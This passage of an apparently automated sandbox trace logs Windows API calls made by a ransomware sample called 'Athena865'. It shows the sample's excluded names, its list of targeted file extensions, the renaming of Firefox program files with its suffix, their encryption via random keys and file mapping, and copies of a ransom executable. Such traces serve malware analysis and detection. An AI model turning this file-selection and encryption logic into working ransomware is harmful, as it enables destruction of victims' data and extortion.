lstrcmpiW (lpString1="application.ini", lpString2="temp") returned -1 [0042.888] lstrcmpiW (lpString1="application.ini", lpString2="pagefile.sys") returned -1 [0042.888] lstrcmpiW (lpString1="application.ini", lpString2="boot") returned -1 [0042.888] lstrcmpiW (lpString1="application.ini", lpString2="ids.txt") returned -1 [0042.889] lstrcmpiW (lpString1="application.ini", lpString2="ntuser.dat") returned -1 [0042.889] lstrcmpiW (lpString1="application.ini", lpString2="perflogs") returned -1 [0042.889] lstrcmpiW (lpString1="application.ini", lpString2="MSBuild") returned -1 [0042.889] lstrlenW (lpString="application.ini") returned 15 [0042.889] lstrcpyW (in: lpString1=0x241e896, lpString2="application.ini" | out: lpString1="application.ini") returned="application.ini" [0042.889] lstrlenW (lpString="application.ini") returned 15 [0042.889] lstrlenW (lpString="Athena865") returned 9 [0042.889] lstrcmpiW (lpString1="ation.ini", lpString2="Athena865") returned 1 [0042.889] lstrlenW (lpString=".dll") returned 4 [0042.889] lstrcmpiW (lpString1="application.ini", lpString2=".dll") returned 1 [0042.889] lstrlenW (lpString=".lnk") returned 4 [0042.889] lstrcmpiW (lpString1="application.ini", lpString2=".lnk") returned 1 [0042.889] lstrlenW (lpString=".ini") returned 4 [0042.889] lstrcmpiW (lpString1="application.ini", lpString2=".ini") returned 1 [0042.889] lstrlenW (lpString=".sys") returned 4 [0042.889] lstrcmpiW (lpString1="application.ini", lpString2=".sys") returned 1 [0042.889] lstrlenW (lpString="application.ini") returned 15 [0042.889] lstrlenW (lpString="bak") returned 3 [0042.889] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0042.889] lstrlenW (lpString="ba_") returned 3 [0042.889] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0042.889] lstrlenW (lpString="dbb") returned 3 [0042.889] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0042.889] lstrlenW (lpString="vmdk") returned 4 [0042.889] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0042.889] lstrlenW (lpString="rar") returned 3 [0042.889] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0042.889] lstrlenW (lpString="zip") returned 3 [0042.889] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0042.889] lstrlenW (lpString="tgz") returned 3 [0042.889] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0042.889] lstrlenW (lpString="vbox") returned 4 [0042.889] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0042.889] lstrlenW (lpString="vdi") returned 3 [0042.889] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0042.889] lstrlenW (lpString="vhd") returned 3 [0042.889] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0042.890] lstrlenW (lpString="vhdx") returned 4 [0042.890] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0042.890] lstrlenW (lpString="avhd") returned 4 [0042.890] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0042.890] lstrlenW (lpString="db") returned 2 [0042.890] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0042.890] lstrlenW (lpString="db2") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0042.890] lstrlenW (lpString="db3") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0042.890] lstrlenW (lpString="dbf") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0042.890] lstrlenW (lpString="mdf") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0042.890] lstrlenW (lpString="mdb") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0042.890] lstrlenW (lpString="sql") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0042.890] lstrlenW (lpString="sqlite") returned 6 [0042.890] lstrcmpiW (lpString1="on.ini", lpString2="sqlite") returned -1 [0042.890] lstrlenW (lpString="sqlite3") returned 7 [0042.890] lstrcmpiW (lpString1="ion.ini", lpString2="sqlite3") returned -1 [0042.890] lstrlenW (lpString="sqlitedb") returned 8 [0042.890] lstrcmpiW (lpString1="tion.ini", lpString2="sqlitedb") returned 1 [0042.890] lstrlenW (lpString="xml") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0042.890] lstrlenW (lpString="$er") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0042.890] lstrlenW (lpString="4dd") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0042.890] lstrlenW (lpString="4dl") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0042.890] lstrlenW (lpString="^^^") returned 3 [0042.890] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0042.890] lstrlenW (lpString="abs") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0042.891] lstrlenW (lpString="abx") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0042.891] lstrlenW (lpString="accdb") returned 5 [0042.891] lstrcmpiW (lpString1="n.ini", lpString2="accdb") returned 1 [0042.891] lstrlenW (lpString="accdc") returned 5 [0042.891] lstrcmpiW (lpString1="n.ini", lpString2="accdc") returned 1 [0042.891] lstrlenW (lpString="accde") returned 5 [0042.891] lstrcmpiW (lpString1="n.ini", lpString2="accde") returned 1 [0042.891] lstrlenW (lpString="accdr") returned 5 [0042.891] lstrcmpiW (lpString1="n.ini", lpString2="accdr") returned 1 [0042.891] lstrlenW (lpString="accdt") returned 5 [0042.891] lstrcmpiW (lpString1="n.ini", lpString2="accdt") returned 1 [0042.891] lstrlenW (lpString="accdw") returned 5 [0042.891] lstrcmpiW (lpString1="n.ini", lpString2="accdw") returned 1 [0042.891] lstrlenW (lpString="accft") returned 5 [0042.891] lstrcmpiW (lpString1="n.ini", lpString2="accft") returned 1 [0042.891] lstrlenW (lpString="adb") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0042.891] lstrlenW (lpString="adb") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0042.891] lstrlenW (lpString="ade") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0042.891] lstrlenW (lpString="adf") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0042.891] lstrlenW (lpString="adn") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0042.891] lstrlenW (lpString="adp") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0042.891] lstrlenW (lpString="alf") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0042.891] lstrlenW (lpString="ask") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0042.891] lstrlenW (lpString="btr") returned 3 [0042.891] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0042.891] lstrlenW (lpString="cat") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0042.892] lstrlenW (lpString="cdb") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0042.892] lstrlenW (lpString="ckp") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0042.892] lstrlenW (lpString="cma") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0042.892] lstrlenW (lpString="cpd") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0042.892] lstrlenW (lpString="dacpac") returned 6 [0042.892] lstrcmpiW (lpString1="on.ini", lpString2="dacpac") returned 1 [0042.892] lstrlenW (lpString="dad") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0042.892] lstrlenW (lpString="dadiagrams") returned 10 [0042.892] lstrcmpiW (lpString1="cation.ini", lpString2="dadiagrams") returned -1 [0042.892] lstrlenW (lpString="daschema") returned 8 [0042.892] lstrcmpiW (lpString1="tion.ini", lpString2="daschema") returned 1 [0042.892] lstrlenW (lpString="db-journal") returned 10 [0042.892] lstrcmpiW (lpString1="cation.ini", lpString2="db-journal") returned -1 [0042.892] lstrlenW (lpString="db-shm") returned 6 [0042.892] lstrcmpiW (lpString1="on.ini", lpString2="db-shm") returned 1 [0042.892] lstrlenW (lpString="db-wal") returned 6 [0042.892] lstrcmpiW (lpString1="on.ini", lpString2="db-wal") returned 1 [0042.892] lstrlenW (lpString="dbc") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0042.892] lstrlenW (lpString="dbs") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0042.892] lstrlenW (lpString="dbt") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0042.892] lstrlenW (lpString="dbv") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0042.892] lstrlenW (lpString="dbx") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0042.892] lstrlenW (lpString="dcb") returned 3 [0042.892] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0042.893] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\application.ini.Athena865") returned 64 [0042.893] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\application.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\application.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\application.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\application.ini.athena865"), dwFlags=0x1) returned 1 [0042.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\application.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\application.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0042.894] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=633) returned 1 [0042.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0042.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0042.894] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0042.895] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.895] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.895] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x154 [0042.897] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0042.898] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0042.898] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.898] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0042.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0042.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0042.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0042.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0042.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0042.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0042.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0042.899] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.899] CloseHandle (hObject=0x154) returned 1 [0042.899] CloseHandle (hObject=0x17c) returned 1 [0042.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0042.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0042.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.901] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2431fb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x12670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="breakpadinjector.dll", cAlternateFileName="BREAKP~1.DLL")) returned 1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2=".") returned 1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="..") returned 1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="windows") returned -1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="bootmgr") returned 1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="temp") returned -1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="pagefile.sys") returned -1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="boot") returned 1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="ids.txt") returned -1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="ntuser.dat") returned -1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="perflogs") returned -1 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2="MSBuild") returned -1 [0042.901] lstrlenW (lpString="breakpadinjector.dll") returned 20 [0042.901] lstrcpyW (in: lpString1=0x241e896, lpString2="breakpadinjector.dll" | out: lpString1="breakpadinjector.dll") returned="breakpadinjector.dll" [0042.901] lstrlenW (lpString="breakpadinjector.dll") returned 20 [0042.901] lstrlenW (lpString="Athena865") returned 9 [0042.901] lstrcmpiW (lpString1="ector.dll", lpString2="Athena865") returned 1 [0042.901] lstrlenW (lpString=".dll") returned 4 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2=".dll") returned 1 [0042.901] lstrlenW (lpString=".lnk") returned 4 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2=".lnk") returned 1 [0042.901] lstrlenW (lpString=".ini") returned 4 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2=".ini") returned 1 [0042.901] lstrlenW (lpString=".sys") returned 4 [0042.901] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2=".sys") returned 1 [0042.901] lstrlenW (lpString="breakpadinjector.dll") returned 20 [0042.902] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll.Athena865") returned 69 [0042.902] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\breakpadinjector.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\breakpadinjector.dll.athena865"), dwFlags=0x1) returned 1 [0042.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\breakpadinjector.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0042.908] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=75376) returned 1 [0042.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0042.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0042.908] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0042.909] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.909] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.909] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12970, lpName=0x0) returned 0x154 [0042.911] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12970) returned 0x100000 [0042.916] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0042.917] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.917] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0042.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0042.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0042.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0042.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0042.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0042.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0042.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0042.917] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.918] CloseHandle (hObject=0x154) returned 1 [0042.918] CloseHandle (hObject=0x17c) returned 1 [0042.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0042.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0042.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.921] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="browser", cAlternateFileName="")) returned 1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.921] lstrcmpiW (lpString1="browser", lpString2=".") returned 1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="..") returned 1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="windows") returned -1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="bootmgr") returned 1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="temp") returned -1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="pagefile.sys") returned -1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="boot") returned 1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="ids.txt") returned -1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="ntuser.dat") returned -1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="perflogs") returned -1 [0042.921] lstrcmpiW (lpString1="browser", lpString2="MSBuild") returned -1 [0042.921] lstrlenW (lpString="browser") returned 7 [0042.921] lstrcpyW (in: lpString1=0x241e896, lpString2="browser" | out: lpString1="browser") returned="browser" [0042.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5f0 [0042.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51bd58 [0042.921] lstrcatW (in: lpString1="browser", lpString2="\\" | out: lpString1="browser\\") returned="browser\\" [0042.921] lstrcatW (in: lpString1="browser\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="browser\\HOW TO BACK YOUR FILES.exe") returned="browser\\HOW TO BACK YOUR FILES.exe" [0042.921] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.926] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9de1c70, ftCreationTime.dwHighDateTime=0x1d532ff, ftLastAccessTime.dwLowDateTime=0xd74874f0, ftLastAccessTime.dwHighDateTime=0x1d5407c, ftLastWriteTime.dwLowDateTime=0xd74874f0, ftLastWriteTime.dwHighDateTime=0x1d5407c, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="casual.exe", cAlternateFileName="")) returned 1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2=".") returned 1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="..") returned 1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="windows") returned -1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="bootmgr") returned 1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="temp") returned -1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="pagefile.sys") returned -1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="boot") returned 1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="ids.txt") returned -1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="ntuser.dat") returned -1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="perflogs") returned -1 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2="MSBuild") returned -1 [0042.926] lstrlenW (lpString="casual.exe") returned 10 [0042.926] lstrcpyW (in: lpString1=0x241e896, lpString2="casual.exe" | out: lpString1="casual.exe") returned="casual.exe" [0042.926] lstrlenW (lpString="casual.exe") returned 10 [0042.926] lstrlenW (lpString="Athena865") returned 9 [0042.926] lstrcmpiW (lpString1="asual.exe", lpString2="Athena865") returned -1 [0042.926] lstrlenW (lpString=".dll") returned 4 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2=".dll") returned 1 [0042.926] lstrlenW (lpString=".lnk") returned 4 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2=".lnk") returned 1 [0042.926] lstrlenW (lpString=".ini") returned 4 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2=".ini") returned 1 [0042.926] lstrlenW (lpString=".sys") returned 4 [0042.926] lstrcmpiW (lpString1="casual.exe", lpString2=".sys") returned 1 [0042.926] lstrlenW (lpString="casual.exe") returned 10 [0042.926] lstrlenW (lpString="bak") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.927] lstrlenW (lpString="ba_") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.927] lstrlenW (lpString="dbb") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.927] lstrlenW (lpString="vmdk") returned 4 [0042.927] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.927] lstrlenW (lpString="rar") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.927] lstrlenW (lpString="zip") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.927] lstrlenW (lpString="tgz") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.927] lstrlenW (lpString="vbox") returned 4 [0042.927] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.927] lstrlenW (lpString="vdi") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.927] lstrlenW (lpString="vhd") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.927] lstrlenW (lpString="vhdx") returned 4 [0042.927] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.927] lstrlenW (lpString="avhd") returned 4 [0042.927] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.927] lstrlenW (lpString="db") returned 2 [0042.927] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.927] lstrlenW (lpString="db2") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.927] lstrlenW (lpString="db3") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.927] lstrlenW (lpString="dbf") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.927] lstrlenW (lpString="mdf") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.927] lstrlenW (lpString="mdb") returned 3 [0042.927] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.927] lstrlenW (lpString="sql") returned 3 [0042.928] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.928] lstrlenW (lpString="sqlite") returned 6 [0042.928] lstrcmpiW (lpString1="al.exe", lpString2="sqlite") returned -1 [0042.928] lstrlenW (lpString="sqlite3") returned 7 [0042.928] lstrcmpiW (lpString1="ual.exe", lpString2="sqlite3") returned 1 [0042.928] lstrlenW (lpString="sqlitedb") returned 8 [0042.928] lstrcmpiW (lpString1="sual.exe", lpString2="sqlitedb") returned 1 [0042.928] lstrlenW (lpString="xml") returned 3 [0042.928] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.928] lstrlenW (lpString="$er") returned 3 [0042.928] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.928] lstrlenW (lpString="4dd") returned 3 [0042.928] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.928] lstrlenW (lpString="4dl") returned 